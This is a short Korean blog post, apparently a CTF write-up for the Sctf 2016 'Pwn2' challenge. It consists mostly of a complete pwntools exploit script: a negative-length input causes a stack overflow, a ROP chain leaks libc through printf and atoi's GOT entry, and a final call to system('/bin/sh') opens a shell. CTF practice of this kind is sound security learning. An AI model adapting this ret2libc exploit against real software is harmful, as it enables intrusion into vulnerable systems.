[Sctf 2016] Pwn2

2018. 12. 29. 11:34·PWN/CTF
728x90

오늘은 토요일에다가 생활기록부 작성도 어느정도 끝나서 쉬고싶은 마음에 간단한 문제를 하나 풀어봤다!! 즉 쉬어가는 문제 2


재밌다!! CTF이름이 Sctf인데 삼성 시텦은 아니다.





from pwn import *

s = process("./pwn2")
libc = ELF("./libc")
elf = ELF("./pwn2")

main = 0x080483d0

s.recvuntil("to read? ")
s.sendline("-1")


s.recvuntil("bytes of data!")

#gdb.attach(s)

pay = "A"*(0x2c+4)
pay += p32(elf.plt['printf'])
pay += p32(0x0804864f)
pay += p32(elf.got['atoi'])
pay += p32(main)

s.sendline(pay)

s.recvline()
s.recvline()
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)

s.recvuntil("to read? ")
s.sendline("-1")


s.recvuntil("bytes of data!")

pay = "B"*(0x2c+4)
pay += p32(system)
pay += "A"*4
pay += p32(bin_sh)
s.sendline(pay)

s.interactive()


'PWN > CTF' 카테고리의 다른 글

[SECCON 2016] checker  (0) 2018.12.30
[SECCON 2016] cheer_msg  (0) 2018.12.29
[RCTF 2018] Rnote3  (0) 2018.12.25
[ISITDTU 2018] dead_note_lv2  (0) 2018.12.20
[bsidessf-ctf-2017] shortest  (0) 2018.12.02
'PWN/CTF' 카테고리의 다른 글
  • [SECCON 2016] checker
  • [SECCON 2016] cheer_msg
  • [RCTF 2018] Rnote3
  • [ISITDTU 2018] dead_note_lv2
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기
      • PROGRAMMING
        • PYTHON
        • JS
        • 알고리즘
        • React
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[Sctf 2016] Pwn2
상단으로

티스토리툴바